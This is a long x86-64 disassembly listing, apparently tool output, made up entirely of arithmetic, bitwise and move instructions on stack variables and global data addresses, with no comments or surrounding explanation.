mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x90b8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x8ff0]
mov rax, qword [rax]
mov qword [rsp + 0x9200], rax
mov rax, qword [0x1401e8808]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x92]
sar eax, cl
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
lea rax, [rsp + 0xff4]
mov qword [0x1401e8868], rax
lea rax, [rsp + 0x1010]
mov qword [rsp + 0x9208], rax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8850]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x90a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9b]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x76], al
mov eax, dword [rsp + 0x4cc4]
mov dword [rsp + 0x4e90], eax
mov rax, qword [rsp + 0x90f8]
mov rcx, qword [rsp + 0x8bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x8ad0]
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0x8ec0]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e60], eax
movzx eax, word [rsp + 0x1058]
mov word [rsp + 0x1084], ax
mov rax, qword [0x1401e8848]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77]
add eax, ecx
mov byte [0x1401e700f], al
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1028]
sub eax, ecx
mov word [rsp + 0x1034], ax
lea rax, [rsp + 0x8b]
mov qword [rsp + 0x9218], rax
mov rax, qword [rsp + 0x8f08]
mov ecx, dword [rsp + 0x4e78]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9138]
mov dword [rcx], eax
mov eax, dword [0x1401e7004]
mov dword [rsp + 0x4e94], eax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ee8]
mov rcx, qword [rsp + 0x8d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e40], rax
movzx eax, word [0x1401e7034]
mov word [rsp + 0x1088], ax
lea rax, [rsp + 0x1010]
mov qword [0x1401e8870], rax
movsx eax, byte [rsp + 0x8e]
movsx ecx, byte [rsp + 0x98]
add eax, ecx
mov byte [rsp + 0x7f], al
lea rax, [rsp + 0x1014]
mov qword [rsp + 0x9220], rax
mov rax, qword [0x1401e8800]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9060]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0x9070]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
shl eax, cl
mov byte [rsp + 0x9c], al
lea rax, [rsp + 0x8e50]
mov qword [rsp + 0x9228], rax
mov rax, qword [rsp + 0x9000]
mov ecx, dword [rsp + 0x4e20]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e30], eax
lea rax, [rsp + 0x8ef8]
mov qword [rsp + 0x9230], rax
mov eax, dword [0x1401e7008]
mov rcx, qword [rsp + 0x9138]
mov qword [rsp + 0x9238], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4cc4], eax
movsx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0x90c0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e8858]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
mov word [rsp + 0x108c], ax
movsx eax, byte [rsp + 0x86]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov byte [rsp + 0x9d], al
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9010]
mov byte [rcx], al
lea rax, [rsp + 0x1044]
mov qword [rsp + 0x9240], rax
mov rax, qword [rsp + 0x90b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
mov dword [rsp + 0x4e98], eax
mov rax, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0x8e28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9228]
mov rcx, qword [rsp + 0x8e40]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
lea rax, [rsp + 0x1054]
mov qword [0x1401e8878], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x9248], rax
movsx eax, byte [rsp + 0x86]
movsx ecx, byte [0x1401e700d]
add eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x90c0]
movzx eax, word [rax]
mov word [rsp + 0x1090], ax
movzx eax, word [rsp + 0x1058]
movzx ecx, word [rsp + 0x1020]
add eax, ecx
mov word [rsp + 0x1074], ax
mov rax, qword [rsp + 0x9140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
lea rax, [rsp + 0x9130]
mov qword [rsp + 0x9250], rax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e1c], eax
lea rax, [rsp + 0x91d8]
mov qword [rsp + 0x9258], rax
movzx eax, word [rsp + 0x102c]
movzx ecx, word [rsp + 0x1010]
xor eax, ecx
mov word [0x1401e7054], ax
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [rsp + 0x98]
sar eax, cl
mov byte [rsp + 0x7c], al
mov rax, qword [0x1401e87b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71]
shl eax, cl
mov rcx, qword [rsp + 0x9010]
mov byte [rcx], al
lea rax, [rsp + 0x1044]
mov qword [rsp + 0x9260], rax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x88], al
lea rax, [0x1401e7010]
mov qword [rsp + 0x9268], rax
mov rax, qword [rsp + 0x91d8]
mov rcx, qword [rsp + 0x90d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f98], rax
mov eax, dword [rsp + 0x4e30]
mov dword [rsp + 0x4e9c], eax
mov rax, qword [rsp + 0x8ed8]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1070]
mov rcx, qword [rsp + 0x8ee0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e87f0], ax
movzx eax, word [rsp + 0x1010]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
lea rax, [0x1401e7022]
mov qword [rsp + 0x9270], rax
movsx eax, byte [rsp + 0x8b]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x1068]
mov qword [rsp + 0x9278], rax
mov rax, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x8b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8f30]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8eb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9250]
mov rax, qword [rax]
mov qword [rsp + 0x9280], rax
mov eax, dword [rsp + 0x4d44]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0x9160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
add eax, ecx
mov word [0x1401e7058], ax
lea rax, [rsp + 0x85]
mov qword [rsp + 0x9288], rax
mov rax, qword [0x1401e87a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1090]
sub eax, ecx
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0x9270]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x95]
or eax, ecx
mov byte [rsp + 0x9e], al
lea rax, [rsp + 0x94]
mov qword [rsp + 0x9290], rax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9170]
sar rax, cl
mov rcx, qword [rsp + 0x8de0]
mov qword [rcx], rax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x9298], rax
mov eax, dword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x8ed8]
mov qword [rsp + 0x92a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x92a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8ed8]
mov dword [rcx], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0x92a8], rax
mov rax, qword [rsp + 0x9290]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d48]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e700e], al
movzx eax, word [rsp + 0xff4]
movzx ecx, word [0x1401e7038]
and eax, ecx
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9b], al
lea rax, [rsp + 0x1014]
mov qword [rsp + 0x92b0], rax
movzx eax, word [rsp + 0x1038]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x101c], ax
lea rax, [rsp + 0x4e34]
mov qword [rsp + 0x92b8], rax
mov rax, qword [rsp + 0x9280]
mov rcx, qword [rsp + 0x8f70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x9088]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x92a8], rax
mov eax, dword [rsp + 0x4e8c]
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fa8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e87c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x89]
add eax, ecx
mov byte [rsp + 0x83], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0x92c0], rax
movsx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0x8f10]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
movzx eax, word [rsp + 0x106c]
mov rcx, qword [rsp + 0x8e48]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f08]
mov eax, dword [rax]
mov dword [rsp + 0x4ea4], eax
mov rax, qword [rsp + 0x9298]
mov rcx, qword [rsp + 0x8ec0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e6c], eax
lea rax, [rsp + 0x8f70]
mov qword [rsp + 0x92c8], rax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8ed0]
mov qword [rsp + 0x92d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x92d0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9068]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x91b0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
mov rax, qword [0x1401e8830]
movzx eax, byte [rax]
mov byte [0x1401e87a2], al
lea rax, [rsp + 0x1018]
mov qword [rsp + 0x92d8], rax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7f], al
movzx eax, word [rsp + 0x1050]
mov word [rsp + 0x1094], ax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bb8], rax
mov eax, dword [rsp + 0x4e94]
mov dword [rsp + 0x4ea8], eax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ea0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea4], eax
mov rax, qword [rsp + 0x9258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e90], rax
movzx eax, word [rsp + 0x102c]
mov word [rsp + 0x1098], ax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9070]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e87c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e38]
mov byte [rcx], al
lea rax, [rsp + 0x1014]
mov qword [rsp + 0x92e0], rax
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [0x1401e8792]
sub eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e90]
mov qword [rsp + 0x92e8], rax
mov rax, qword [rsp + 0x90e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9098], rax
lea rax, [rsp + 0x4e28]
mov qword [rsp + 0x92f0], rax
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9110]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1054], ax
mov rax, qword [0x1401e87e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1064]
and eax, ecx
mov word [0x1401e705c], ax
mov rax, qword [rsp + 0x9290]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e00]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
movzx eax, word [rsp + 0x1090]
mov word [rsp + 0x109c], ax
mov rax, qword [0x1401e8838]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9e]
sar eax, cl
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x8ee8]
mov rax, qword [rax]
mov qword [rsp + 0x92f8], rax
mov eax, dword [rsp + 0x4e34]
mov rcx, qword [rsp + 0x8f18]
mov qword [rsp + 0x9300], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9300]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ed8]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4d84], eax
lea rax, [rsp + 0x8e90]
mov qword [rsp + 0x9308], rax
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9110]
mov word [rcx], ax
mov rax, qword [rsp + 0x9220]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7060], ax
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x9310], rax
movzx eax, byte [rsp + 0x9e]
movzx ecx, byte [rsp + 0x89]
and eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov byte [rsp + 0x9f], al
movsx eax, byte [rsp + 0x91]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8b50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90e0]
mov rax, qword [rax]
mov qword [rsp + 0x9318], rax
mov rax, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0x8e28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e5c], eax
mov eax, dword [rsp + 0x4e38]
mov dword [rsp + 0x4eac], eax
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8830]
mov byte [rcx], al
movzx eax, word [rsp + 0x1064]
movzx ecx, word [rsp + 0x1004]
add eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov word [rcx], ax
movsx eax, word [rsp + 0x103c]
movsx ecx, word [rsp + 0x1030]
sub eax, ecx
mov word [rsp + 0x1078], ax
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9208]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1060], ax
mov rax, qword [rsp + 0x8ca8]
mov qword [rsp + 0x9320], rax
mov rax, qword [rsp + 0x9028]
mov rcx, qword [rsp + 0x9000]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e60], eax
mov rax, qword [rsp + 0x8e58]
mov rcx, qword [rsp + 0x9088]
mov qword [rsp + 0x9328], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9328]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8f98], rax
lea rax, [rsp + 0x4e8c]
mov qword [rsp + 0x9330], rax
mov rax, qword [rsp + 0x91e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [str._DM_b], al
movzx eax, word [rsp + 0x1004]
mov rcx, qword [rsp + 0x9208]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xff8], ax
movzx eax, word [rsp + 0x1080]
mov word [rsp + 0x10a0], ax
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0x8a]
xor eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
lea rax, [rsp + 0x79]
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x9198]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90f8]
mov rcx, qword [rsp + 0x9170]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f08]
mov eax, dword [rax]
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x9178]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d38]
mov dword [rcx], eax
lea rax, [rsp + 0x1024]
mov qword [0x1401e8880], rax
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0xa1], al
movsx eax, word [rsp + 0x1080]
mov rcx, qword [0x1401e87d0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x92b0]
mov word [rcx], ax
movsx eax, word [rsp + 0x10a0]
movsx ecx, word [rsp + 0x1094]
add eax, ecx
mov word [rsp + 0x103c], ax
lea rax, [rsp + 0x89]
mov qword [rsp + 0x9340], rax
mov rax, qword [rsp + 0x9138]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9128]
mov qword [rsp + 0x9348], rax
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8da0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e00]
mov ecx, dword [rsp + 0x4d44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8c10]
movzx eax, word [rax]
mov word [0x1401e8888], ax
movzx eax, byte [rsp + 0x7d]
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x8f80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7a]
add eax, ecx
mov byte [rsp + 0x99], al
lea rax, [rsp + 0x1010]
mov qword [rsp + 0x9350], rax
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fe0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x8ed8]
mov rcx, qword [rsp + 0x8d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9230]
mov rax, qword [rax]
mov qword [rsp + 0x9358], rax
mov eax, dword [rsp + 0x4e64]
mov rcx, qword [rsp + 0x8f18]
mov qword [rsp + 0x9360], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9360]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e7c], eax
mov rax, qword [rsp + 0x9280]
mov qword [rsp + 0x9368], rax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0x8e]
sar eax, cl
mov byte [0x1401e8792], al
mov rax, qword [rsp + 0x90c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10a0], ax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x9370], rax
movsx eax, word [rsp + 0x1044]
movsx ecx, word [rsp + 0x1008]
sub eax, ecx
mov word [rsp + 0x109c], ax
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
sub eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0x9378], rax
mov rax, qword [rsp + 0x8af8]
mov rcx, qword [rsp + 0x9180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
lea rax, [rsp + 0x8e58]
mov qword [rsp + 0x9380], rax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ddc], eax
lea rax, [rsp + 0x84]
mov qword [0x1401e8890], rax
mov rax, qword [rsp + 0x8f50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1080]
and eax, ecx
mov word [rsp + 0x103c], ax
lea rax, [rsp + 0x1018]
mov qword [rsp + 0x9388], rax
movzx eax, byte [0x1401e7022]
mov rcx, qword [rsp + 0x9010]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov byte [rcx], al
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x9390], rax
mov rax, qword [rsp + 0x8fc0]
mov rcx, qword [rsp + 0x9198]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9308]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9268]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fe8], rax
mov rax, qword [rsp + 0x8ed8]
mov eax, dword [rax]
mov dword [rsp + 0x4eb4], eax
mov eax, dword [rsp + 0x4ccc]
mov ecx, dword [rsp + 0x4cac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea8], eax
mov rax, qword [0x1401e8838]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
or eax, ecx
mov byte [str._DM_b], al
movzx eax, word [rsp + 0x102c]
mov word [rsp + 0x10a4], ax
mov rax, qword [rsp + 0x9220]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x105c], ax
mov rax, qword [0x1401e8810]
movzx eax, byte [rax]
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0x9190]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
shl eax, cl
mov byte [rsp + 0x7f], al
mov eax, dword [0x1401e7008]
movzx ecx, al
mov eax, dword [rsp + 0x4e44]
sar eax, cl
mov rcx, qword [rsp + 0x8e70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9188]
mov qword [rsp + 0x9398], rax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d88], eax
lea rax, [rsp + 0x90b8]
mov qword [rsp + 0x93a0], rax
mov rax, qword [0x1401e8858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x109c]
sub eax, ecx
mov word [rsp + 0x105c], ax
movzx eax, word [rsp + 0x1054]
mov rcx, qword [rsp + 0x8de8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e705c], ax
mov rax, qword [rsp + 0x9390]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e8797]
add eax, ecx
mov byte [rsp + 0x97], al
mov rax, qword [rsp + 0x9288]
movzx eax, byte [rax]
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
sub eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
lea rax, [rsp + 0x4e74]
mov qword [rsp + 0x93a8], rax
mov rax, qword [rsp + 0x8e60]
mov ecx, dword [rsp + 0x4e48]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
lea rax, [0x1401e7010]
mov qword [rsp + 0x93b0], rax
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1034]
sub eax, ecx
mov rcx, qword [rsp + 0x8f50]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9050]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7064], ax
lea rax, [rsp + 0x82]
mov qword [rsp + 0x93b8], rax
mov rax, qword [rsp + 0x9110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1060]
add eax, ecx
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
movsx eax, word [rsp + 0x105c]
movsx ecx, word [rsp + 0x1070]
shl eax, cl
mov word [rsp + 0x109c], ax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0x93c0], rax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x8f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e78], eax
lea rax, [rsp + 0x9200]
mov qword [rsp + 0x93c8], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c90]
mov qword [rsp + 0x93d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x93d0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0x8f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x91b0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e7034], ax
movsx eax, byte [0x1401e8796]
movsx ecx, byte [rsp + 0xa0]
and eax, ecx
mov byte [rsp + 0x99], al
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0x1018]
add eax, ecx
mov rcx, qword [rsp + 0x8e80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0xa6], al
